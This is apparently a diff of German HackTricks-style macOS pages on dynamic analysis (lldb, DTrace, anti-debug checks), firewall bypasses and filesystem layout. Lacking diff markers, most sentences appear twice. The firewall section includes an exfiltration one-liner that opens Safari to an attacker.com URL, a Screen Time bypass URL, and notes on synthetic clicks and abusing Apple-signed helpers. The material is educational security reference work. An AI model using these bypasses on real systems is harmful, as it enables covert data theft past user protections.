## Dynamische Analyse
> [!WARNING]
> Beachten Sie, dass zum Debuggen von Binärdateien **SIP deaktiviert sein muss** (`csrutil disable` oder `csrutil enable --without debug`) oder die Binärdateien in einen temporären Ordner kopiert und **die Signatur entfernt** werden muss mit `codesign --remove-signature <binary-path>` oder das Debuggen der Binärdatei erlaubt werden muss (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
> Beachten Sie, dass **SIP deaktiviert sein muss**, um Binärdateien zu debuggen (`csrutil disable` oder `csrutil enable --without debug`), oder um die Binärdateien in einen temporären Ordner zu kopieren und **die Signatur zu entfernen** mit `codesign --remove-signature <binary-path>` oder um das Debuggen der Binärdatei zu erlauben (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
> [!WARNING]
> Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (das Entfernen der Signatur funktioniert nicht).
> Beachten Sie, dass **SIP deaktiviert sein muss**, um **System-Binärdateien** (wie `cloudconfigurationd`) auf macOS zu instrumentieren (das Entfernen der Signatur funktioniert nicht).
### APIs
macOS bietet einige interessante APIs, die Informationen über die Prozesse bereitstellen:
- `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, aber Sie benötigen keine speziellen Berechtigungen oder Mach-Ports.
- `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist es erforderlich, die Berechtigung `com.apple.sysmond.client` zu haben.
- `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist die Berechtigung `com.apple.sysmond.client` erforderlich.
### Stackshot & Mikrostackshots
**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und das Verständnis des Verhaltens des Systems zu einem bestimmten Zeitpunkt. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und um das Verhalten des Systems zu einem bestimmten Zeitpunkt zu verstehen. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
### Sysdiagnose
Dieses Tool (`/usr/bini/ysdiagnose`) sammelt im Wesentlichen viele Informationen von Ihrem Computer, indem es Dutzende von verschiedenen Befehlen wie `ps`, `zprint`... ausführt.
Dieses Tool (`/usr/bini/ysdiagnose`) sammelt im Wesentlichen viele Informationen von Ihrem Computer, indem es Dutzende verschiedener Befehle wie `ps`, `zprint` usw. ausführt...
Es muss als **root** ausgeführt werden, und der Daemon `/usr/libexec/sysdiagnosed` hat sehr interessante Berechtigungen wie `com.apple.system-task-ports` und `get-task-allow`.
@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
Der Probenname besteht aus vier Teilen: dem Anbieter, dem Modul, der Funktion und dem Namen (`fbt:mach_kernel:ptrace:entry`). Wenn Sie einen Teil des Namens nicht angeben, wendet Dtrace diesen Teil als Platzhalter an.
Der Probenname besteht aus vier Teilen: dem Anbieter, dem Modul, der Funktion und dem Namen (`fbt:mach_kernel:ptrace:entry`). Wenn Sie einen Teil des Namens nicht angeben, wird Dtrace diesen Teil als Platzhalter verwenden.
Um DTrace zu konfigurieren, um Proben zu aktivieren und anzugeben, welche Aktionen ausgeführt werden sollen, wenn sie ausgelöst werden, müssen wir die D-Sprache verwenden.
@ -357,13 +357,13 @@ Um mit kdebug über einen benutzerdefinierten Client zu interagieren, sind dies
Um diese Informationen zu erhalten, ist es möglich, das Apple-Tool **`trace`** oder das benutzerdefinierte Tool [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden.
**Beachten Sie, dass Kdebug nur für einen Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden.
### ktrace
Die `ktrace_*` APIs stammen von `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen, und dann mit `ktrace_start` starten.
Die `ktrace_*` APIs stammen aus `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Callbacks für spezifische Codes festzulegen, und dann mit `ktrace_start` starten.
Sie können dies sogar mit **aktiviertem SIP** verwenden.
Sie können dies sogar mit **SIP aktiviert** verwenden.
Sie können als Clients das Dienstprogramm `ktrace` verwenden:
```bash
@ -387,7 +387,7 @@ Darüber hinaus residiert ein Teil der Funktionalität von Kperf in `kpc`, das I
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) ist ein Tool, das die Beziehungen zwischen Prozessen ausgibt.\
[**SpriteTree**](https://themittenmac.com/tools/) ist ein Tool, das die Beziehungen zwischen Prozessen druckt.\
Sie müssen Ihren Mac mit einem Befehl wie **`sudo eslogger fork exec rename create > cap.json`** überwachen (das Terminal, das dies startet, benötigt FDA). Und dann können Sie die JSON in dieses Tool laden, um alle Beziehungen anzuzeigen:
<figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
@ -408,7 +408,7 @@ Sie müssen Ihren Mac mit einem Befehl wie **`sudo eslogger fork exec rename cre
### fs_usage
Ermöglicht das Verfolgen von Aktionen, die von Prozessen ausgeführt werden:
Ermöglicht das Verfolgen von Aktionen, die von Prozessen durchgeführt werden:
```bash
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
fs_usage -w -f network curl #This tracks network actions
@ -424,7 +424,7 @@ In [**diesem Blogbeitrag**](https://knight.sc/debugging/2019/06/03/debugging-app
### lldb
**lldb** ist das de **facto Tool** für **macOS** Binärdatei **Debugging**.
**lldb** ist das de **facto Tool** für **macOS** Binär-**Debugging**.
```bash
lldb ./malware.bin
lldb -p 1122
@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Innerhalb von lldb, dumpen Sie einen Prozess mit `process save-core`
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Brechen in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt die Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ... wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Break in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C-APIs oder -Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA an diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA an die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt die Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
> [!NOTE]
> Beim Aufrufen der **`objc_sendMsg`** Funktion hält das **rsi** Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
> [!TIP]
> Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
>
@ -458,11 +458,11 @@ settings set target.x86-disassembly-flavor intel
- Durch das Spielen mit den Werten von **`hw.logicalcpu`** und **`hw.physicalcpu`** versuchen einige Malware, zu erkennen, ob es sich um eine VM handelt.
- Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert ist, basierend auf der MAC-Adresse (00:50:56).
- Es ist auch möglich zu finden, **ob ein Prozess debuggt wird** mit einem einfachen Code wie:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //prozess wird debuggt }`
- Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`** Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt.
- Sie können überprüfen, ob die **`sysctl`** oder **`ptrace`** Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren)
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //Prozess wird debuggt }`
- Es kann auch den **`ptrace`**-Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger anhängt und verfolgt.
- Sie können überprüfen, ob die **`sysctl`**- oder **`ptrace`**-Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren)
- Wie in diesem Bericht erwähnt, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT_DENY_ATTACH** verwendet_”
“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT_DENY_ATTACH** verwendet._”
## Core Dumps
@ -470,7 +470,7 @@ Core Dumps werden erstellt, wenn:
- `kern.coredump` sysctl auf 1 gesetzt ist (standardmäßig)
- Wenn der Prozess nicht suid/sgid war oder `kern.sugid_coredump` auf 1 gesetzt ist (standardmäßig 0)
- Das `AS_CORE` Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem Sie `ulimit -c 0` aufrufen und sie mit `ulimit -c unlimited` wieder aktivieren.
- Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem Sie `ulimit -c 0` aufrufen und sie mit `ulimit -c unlimited` wieder aktivieren.
In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generiert und normalerweise in `/cores/core/.%P` gespeichert.
@ -478,9 +478,9 @@ In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generier
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem Entwickler helfen können, die Ursache eines Absturzes zu diagnostizieren.\
ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem **Entwickler helfen können,** die Ursache eines Absturzes zu diagnostizieren.\
Für Anwendungen und andere Prozesse, die **im benutzerspezifischen launchd-Kontext** ausgeführt werden, läuft ReportCrash als LaunchAgent und speichert Absturzberichte im `~/Library/Logs/DiagnosticReports/` des Benutzers.\
Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** ausgeführt werden, und andere privilegierte Prozesse, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** und andere privilegierte Prozesse ausgeführt werden, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
Wenn Sie sich Sorgen über Absturzberichte **machen, die an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
```bash
@ -513,7 +513,8 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Internal Handlers
**Überprüfen Sie die folgende Seite**, um herauszufinden, wie Sie herausfinden können, welche App für **die Verarbeitung des angegebenen Schemas oder Protokolls verantwortlich ist:**
**Überprüfen Sie die folgende Seite**, um herauszufinden, welche App für **die Handhabung des angegebenen Schemas oder Protokolls verantwortlich ist:**
{{#ref}}
../macos-file-extension-apps.md
@ -544,7 +545,7 @@ Funktioniert für CLI-Tools
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie z. B. eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
Einige Beispiele:
```bash

View File

@ -12,7 +12,7 @@ Die folgenden Techniken wurden in einigen macOS-Firewall-Apps als funktionierend
### Synthetischer Klick
- Wenn die Firewall den Benutzer um Erlaubnis bittet, die Malware **auf Erlauben klicken** lassen.
- Wenn die Firewall um Erlaubnis vom Benutzer bittet, lasse die Malware **auf Erlauben klicken**.
### **Verwendung von von Apple signierten Binärdateien**
@ -65,6 +65,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Wenn Sie **Code in einen Prozess injizieren** können, der berechtigt ist, eine Verbindung zu einem beliebigen Server herzustellen, könnten Sie die Firewall-Schutzmaßnahmen umgehen:
{{#ref}}
macos-proces-abuse/
{{#endref}}
@ -83,14 +84,14 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Packet Filter (PF) Regelreihenfolge-Fehler in der frühen macOS 14 “Sonoma”
Während des macOS 14 Beta-Zyklus führte Apple eine Regression im Userspace-Wrapper um **`pfctl`** ein. Regeln, die mit dem `quick` Schlüsselwort hinzugefügt wurden (das von vielen VPN-Kill-Switches verwendet wird), wurden stillschweigend ignoriert, was zu Datenlecks führte, selbst wenn eine VPN/Firewall-GUI *blockiert* meldete. Der Fehler wurde von mehreren VPN-Anbietern bestätigt und in RC 2 (Build 23A344) behoben.
Während des macOS 14 Beta-Zyklus führte Apple eine Regression im Userspace-Wraparound **`pfctl`** ein. Regeln, die mit dem `quick` Schlüsselwort hinzugefügt wurden (verwendet von vielen VPN-Kill-Switches), wurden stillschweigend ignoriert, was zu Datenlecks führte, selbst wenn eine VPN/Firewall-GUI *blockiert* meldete. Der Fehler wurde von mehreren VPN-Anbietern bestätigt und in RC 2 (Build 23A344) behoben.
Schnelle Leak-Prüfung:
Schneller Leak-Check:
```bash
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Missbrauch von von Apple signierten Hilfsdiensten (Legacy vor macOS 11.2)
### Missbrauch von von Apple signierten Hilfsdiensten (legacy vor macOS 11.2)
Vor macOS 11.2 erlaubte die **`ContentFilterExclusionList`** ~50 Apple-Binärdateien wie **`nsurlsessiond`** und den App Store, alle Socket-Filter-Firewalls, die mit dem Network Extension-Framework implementiert wurden (LuLu, Little Snitch usw.), zu umgehen. Malware konnte einfach einen ausgeschlossenen Prozess starten oder Code in ihn injizieren und ihren eigenen Datenverkehr über den bereits erlaubten Socket tunneln. Apple hat die Ausschlussliste in macOS 11.2 vollständig entfernt, aber die Technik ist auf Systemen, die nicht aktualisiert werden können, weiterhin relevant.
Beispiel für einen Proof-of-Concept (vor 11.2):

View File

@ -12,7 +12,7 @@
- **/Library**: Viele Unterverzeichnisse und Dateien, die mit Einstellungen, Caches und Protokollen zu tun haben, finden sich hier. Ein Library-Ordner existiert im Root-Verzeichnis und im Verzeichnis jedes Benutzers.
- **/private**: Nicht dokumentiert, aber viele der genannten Ordner sind symbolische Links zum privaten Verzeichnis.
- **/sbin**: Essentielle System-Binaries (bezogen auf die Verwaltung)
- **/System**: Dateien, um OS X auszuführen. Hier sollten hauptsächlich nur Apple-spezifische Dateien zu finden sein (keine Drittanbieter).
- **/System**: Dateien, um OS X auszuführen. Hier sollten hauptsächlich nur Apple-spezifische Dateien (keine Drittanbieter) zu finden sein.
- **/tmp**: Dateien werden nach 3 Tagen gelöscht (es ist ein symbolischer Link zu /private/tmp)
- **/Users**: Heimatverzeichnis für Benutzer.
- **/usr**: Konfigurations- und System-Binaries
@ -23,7 +23,7 @@
### Anwendungsordner
- **Systemanwendungen** befinden sich unter `/System/Applications`
- **Installierte** Anwendungen sind normalerweise in `/Applications` oder in `~/Applications` installiert.
- **Installierte** Anwendungen werden normalerweise in `/Applications` oder in `~/Applications` installiert.
- **Anwendungsdaten** finden sich in `/Library/Application Support` für Anwendungen, die als Root ausgeführt werden, und in `~/Library/Application Support` für Anwendungen, die als Benutzer ausgeführt werden.
- Drittanbieteranwendungen **Dämonen**, die **als Root ausgeführt werden müssen**, befinden sich normalerweise in `/Library/PrivilegedHelperTools/`
- **Sandboxed** Apps sind im Ordner `~/Library/Containers` abgebildet. Jede App hat einen Ordner, der nach der Bundle-ID der Anwendung benannt ist (`com.apple.Safari`).
@ -59,11 +59,11 @@ macos-installers-abuse.md
- **`.app`**: Apple-Anwendungen, die der Verzeichnisstruktur folgen (es ist ein Bundle).
- **`.dylib`**: Dynamische Bibliotheken (wie Windows DLL-Dateien)
- **`.pkg`**: Sind dasselbe wie xar (eXtensible Archive Format). Der Installer-Befehl kann verwendet werden, um den Inhalt dieser Dateien zu installieren.
- **`.DS_Store`**: Diese Datei befindet sich in jedem Verzeichnis, sie speichert die Attribute und Anpassungen des Verzeichnisses.
- **`.DS_Store`**: Diese Datei befindet sich in jedem Verzeichnis und speichert die Attribute und Anpassungen des Verzeichnisses.
- **`.Spotlight-V100`**: Dieser Ordner erscheint im Root-Verzeichnis jedes Volumes im System.
- **`.metadata_never_index`**: Wenn sich diese Datei im Root eines Volumes befindet, wird Spotlight dieses Volume nicht indizieren.
- **`.noindex`**: Dateien und Ordner mit dieser Erweiterung werden von Spotlight nicht indiziert.
- **`.sdef`**: Dateien innerhalb von Bundles, die angeben, wie mit der Anwendung über ein AppleScript interagiert werden kann.
- **`.sdef`**: Dateien innerhalb von Bundles, die angeben, wie es möglich ist, mit der Anwendung über ein AppleScript zu interagieren.
### macOS Bundles
@ -82,7 +82,7 @@ In iOS finden Sie sie in **`/System/Library/Caches/com.apple.dyld/`**.
Ähnlich wie der dyld shared cache sind der Kernel und die Kernel-Erweiterungen ebenfalls in einem Kernel-Cache kompiliert, der beim Booten geladen wird.
Um die Bibliotheken aus der einzelnen Datei des dylib shared cache zu extrahieren, war es möglich, das Binary [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) zu verwenden, das möglicherweise heutzutage nicht mehr funktioniert, aber Sie können auch [**dyldextractor**](https://github.com/arandomdev/dyldextractor) verwenden:
Um die Bibliotheken aus dem einzelnen Datei-dylib-Shared-Cache zu extrahieren, war es möglich, das Binärprogramm [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) zu verwenden, das heutzutage möglicherweise nicht mehr funktioniert, aber Sie können auch [**dyldextractor**](https://github.com/arandomdev/dyldextractor) verwenden:
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -93,7 +93,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
# More options inside the readme
```
> [!TIP]
> Beachten Sie, dass selbst wenn das Tool `dyld_shared_cache_util` nicht funktioniert, Sie das **gemeinsame dyld-Binärformat an Hopper übergeben** können und Hopper in der Lage sein wird, alle Bibliotheken zu identifizieren und Ihnen zu **ermöglichen, auszuwählen, welche Sie** untersuchen möchten:
> Beachten Sie, dass selbst wenn das Tool `dyld_shared_cache_util` nicht funktioniert, Sie das **geteilte dyld-Binärformat an Hopper übergeben** können und Hopper in der Lage sein wird, alle Bibliotheken zu identifizieren und Ihnen zu **ermöglichen, auszuwählen, welche Sie** untersuchen möchten:
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
@ -108,7 +108,7 @@ Einige Extraktoren funktionieren möglicherweise nicht, da dylibs mit fest codie
Beachten Sie, dass selbst wenn das SLC beim ersten Gebrauch verschoben wird, alle **Prozesse** die **gleiche Kopie** verwenden, was den ASLR-Schutz **eliminierte**, wenn der Angreifer in der Lage war, Prozesse im System auszuführen. Dies wurde in der Vergangenheit tatsächlich ausgenutzt und mit einem Shared Region Pager behoben.
Branch-Pools sind kleine Mach-O dylibs, die kleine Räume zwischen Bildzuordnungen schaffen, wodurch es unmöglich wird, die Funktionen zu interponieren.
Branch-Pools sind kleine Mach-O dylibs, die kleine Räume zwischen Bildzuordnungen schaffen, was es unmöglich macht, die Funktionen zu interponieren.
### Override SLCs
@ -121,7 +121,7 @@ Verwendung der Umgebungsvariablen:
### Ordners Berechtigungen
In einem **Ordner** erlaubt **lesen**, ihn **aufzulisten**, **schreiben** erlaubt das **Löschen** und **Schreiben** von Dateien darin, und **ausführen** erlaubt das **Durchqueren** des Verzeichnisses. Ein Benutzer mit **Lesezugriff auf eine Datei** in einem Verzeichnis, in dem er **keine Ausführungsberechtigung** hat, **wird die Datei nicht lesen können**.
In einem **Ordner** ermöglicht **lesen** das **Auflisten**, **schreiben** erlaubt das **Löschen** und **schreiben** von Dateien darin, und **ausführen** erlaubt das **Durchqueren** des Verzeichnisses. Ein Benutzer mit **Lesezugriff auf eine Datei** in einem Verzeichnis, in dem er **keine Ausführungsberechtigung** hat, **wird die Datei nicht lesen können**.
### Flag-Modifikatoren
@ -130,9 +130,9 @@ Es gibt einige Flags, die in den Dateien gesetzt werden können, die das Verhalt
- **`uchg`**: Bekannt als **uchange**-Flag, wird **jede Aktion** zum Ändern oder Löschen der **Datei** verhindern. Um es zu setzen, tun Sie: `chflags uchg file.txt`
- Der Root-Benutzer könnte **das Flag entfernen** und die Datei ändern.
